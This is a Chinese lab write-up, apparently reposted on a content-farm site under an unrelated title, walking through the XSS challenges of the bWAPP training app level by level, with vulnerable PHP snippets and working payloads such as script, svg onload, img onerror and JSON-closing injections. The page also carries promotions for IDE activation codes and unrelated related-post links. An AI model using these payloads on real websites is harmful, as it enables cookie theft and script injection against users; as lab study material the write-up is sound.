高等数学解题神器app_ubuntu cp命令

高等数学解题神器app_ubuntu cp命令XSS在chrome上,需要先关闭xss保护反射型low对输入未做过滤$data=no_check($data);输入<script>alert(document.cookie)</script>middle输入校验functionxss_check_4($data){//addsla…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

XSS

在chrome上,需要先关闭xss保护
Alt text

反射型

low

对输入未做过滤

$data = no_check($data); 

输入<script>alert(document.cookie)</script>

Alt text
Alt text

middle

输入校验

function xss_check_4($data) { 
   

    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);

}

addslashes对’、”、\、NUL进行了编码,在其前面加上\,例如输入”会输出\”。
使用payload<script>alert(document.cookie)</script>仍可以正常成功。
Alt text

但是想要alert字符的话不会成功,因为引号被转义了。为了绕过转义,可以将<script>alert('test')</script>写为<script>alert(/test/)</script>

Alt text

测试成功后,我才发现在js中使用/包字符串好像和”“的作用是一样的,等有时间再细学下JS
Alt text

high

function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  

    return htmlspecialchars($data, ENT_QUOTES, $encoding);

}

POST

和GET相同

STORE

low

POC<script>alert('hack')</script>

Alt text

middle and high

同上

change secret

经验不足,没有想到……

把hidden改为text可以出现隐藏的输入框

Alt text
Alt text

插入POC"><svg onload=alert(1)><"
Alt text

提交后页面HTML变为
Alt text

middle and high

删除了low中的提交点,改为了token验证。
Alt text

Store——User-Agent

low

这里会将HTTP Headers中的User-Agent作为日志中的User-Agent输出,修改其为js代码可以将其输出到浏览器上。

$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];

Alt text

middle

绕过addslashes

high

使用了htmlspecialchars

store——cookie

不知道怎么做……

Reflected (JSON)

low

这个,思路清奇啊,可以看到,关键代码是

$string = '{"movies":[{"response":"' . $title . '??? Sorry, we don&#039;t have that movie :("}]}';
<script>

    var JSONResponseString = '<?php echo $string ?>';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

把php语句替换后得到

<script>

    var JSONResponseString = '{"movies":[{"response":"' . $title . '??? Sorry, we don&#039;t have that movie :("}]}';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

一开始我以为是DOM型的,后来发现title在输出时被包裹在单引号了,似乎并不可以。网上查阅了一波大神思路后,发现是使用闭合json语句的方法。

POC

 "}]}';alert(1);</script>

此时html中出现了

<script>

    var JSONResponseString = '{"movies":[{"response":"' "}]}';alert(1);</script>'??? Sorry, we don&#039;t have that movie :("}]}';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

选择在第一行语句中直接闭合json语句,同时加上一个</script>闭合js代码,将后面的语句都变为无效语句。可以看到markdown已经很贴心的将无效的代码注释掉了。

middle and high

使用htmlspecialchars,安全

Reflected (AJAX/JSON)

不是很懂js,但是看样子在0和1等级的时候,可以eval执行我们的输入,但是

<?php if($_COOKIE["security_level"] == "2") { ?>
     JSONResponse = JSON.parse(xmlHttp.responseText);
<?php } else { ?>
       JSONResponse = eval("(" + xmlHttp.responseText + ")");
<?php } ?>

payload

<img src=x onerror=alert(1)>

or

<svg onload=alert(1)>

Reflected (Back Button)

low

终于有我会的了……

<p>Click the button to go to back to the previous page:

<input type=button value="Go back" onClick="document.location.href='http://localhost/bwapp/portal.php'">

</p>

可以看到这里onClick中值是可以改变的,将http头中的refer(表示目前的网页是从哪个网页跳转来到)改为

 "><script>alert(/1/)</script>

Alt text

后台代码中也表示出了是使用HTTP_REFERER来判断上一个网页是什么。

    <input type=button value="Go back" onClick="document.location.href='<?php echo isset($_SERVER["HTTP_REFERER"]) ? xss($_SERVER["HTTP_REFERER"]) : ""?>'">

Reflected (Eval)

从html中可知,这里会将我们传入的函数放入eval中执行

<script>

eval("document.write(Date())");

</script>

将Date()函数替换为我们要执行的函数,比如

alert(/1/)

也可使用闭合语句的方法

)"); alert(/1/)</script>

Reflected (HREF)

low

XSS位置,其中$name可以由我们输入

<td align="center"> <a href=xss_href-3.php?movie=<?php echo $row["id"]; ?>&name=<?php echo hpp($name);?>&action=vote>Vote</a></td>

闭合标签

""><script>alert(/hack/)</script> //

结果

<td align="center"> <a href=xss_href-3.php?movie=1&name=""><script>alert(/hack/)</script> //&action=vote>Vote</a></td>

midlle and high

使用urlencode()

Reflected (Login Form)

没找到可以xss的地方,用sql注入进去了
Alt text
Alt text

Reflected (PHP_SELF)

不懂这个要考什么

low

<script>alert(1)</script>

middle and hogh

Reflected (User-Agent)

User-Agent为注入点

结语

到这里差不多算结束了,只能说这个题目种类范围覆盖很全,但是质量确实很一般,很多题目都只是为了让我们知道有那一种的xss注入点,有可能还存在多个注入点的情况。在输入校验上,一般都是low不对输入进行编码,middle使用addslahes,high使用htmlspecialchars,一般只要找到注入点,这个题就算完成了。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/190299.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 手把手撸个博客网站

    手把手撸个博客网站node-webserver-blog-public源码地址博客地址CSDN运行项目前必读三个项目中各种各样的授权参数已全部修改成自己的授权参数,忘悉知!!!!忘悉知!!!!忘悉知!!!!自己创建一个数据库名称就可以了,表是运行node时候自动创建好以myblog3为数据库名称,admin登录页面有个一键生成地方生成账号:admin密码:123,只能生成一次,因…

    2022年7月14日
    9
  • document.getElementById详解

    document.getElementById详解注意:document.getElementById("")得到的是一个对象,用alert显示得到的是“object”,而不是具体的值,它有value和length等属性,加上.value得到的才是具体的值! 参考资料:1.document.getElementById的用法和DHTML.CHM的下载地址http://blog.sin…

    2022年7月15日
    15
  • Linux下oracle创建表空间及用户「建议收藏」

    Linux下oracle创建表空间及用户「建议收藏」最近在测试flink的oracle-cdc,公司领导在没用的测试环境搭了一个oracle供我测试,一开始我是拒绝的,毕竟oracle除了crud,也不会别的,奈何拒绝不了,只能边学变做。1,登录sys用户sqlplus/assysdba2,查询用户表空间文件的路径,然后在此目录下创建新的表空间selectnamefromv$datafile;3,创建表空间,永久性表空间:一般保存表、视图、过程和索引等的数据CREATETABLESPACExxxxLOGGINGDATAFI

    2022年7月11日
    15
  • pycharm激活码2021年【2021.7最新】

    (pycharm激活码2021年)JetBrains旗下有多款编译器工具(如:IntelliJ、WebStorm、PyCharm等)在各编程领域几乎都占据了垄断地位。建立在开源IntelliJ平台之上,过去15年以来,JetBrains一直在不断发展和完善这个平台。这个平台可以针对您的开发工作流进行微调并且能够提供…

    2022年3月21日
    46
  • python3 byte转string[通俗易懂]

    python3 byte转string[通俗易懂]python3许多stdout的类型是byte。如果想要print,则需要转换一下。p=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)(stdout,stderr)=p.communicate()print(stdout.decode("gb2312"))print(s…

    2022年6月16日
    32
  • Java stream groupby_javadoop

    Java stream groupby_javadoopgroupingBy()是StreamAPI中最强大的收集器Collector之一,提供与SQL的GROUPBY子句类似的功能。使用形式如下: .collect(groupingBy(…)); 需要指定一个属性才能使用,通过该属性执行分组。我们通过提供功能接口的实现来实现这一点-通常通过传递lambda表达式。例如,如果我…

    2022年8月20日
    4

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号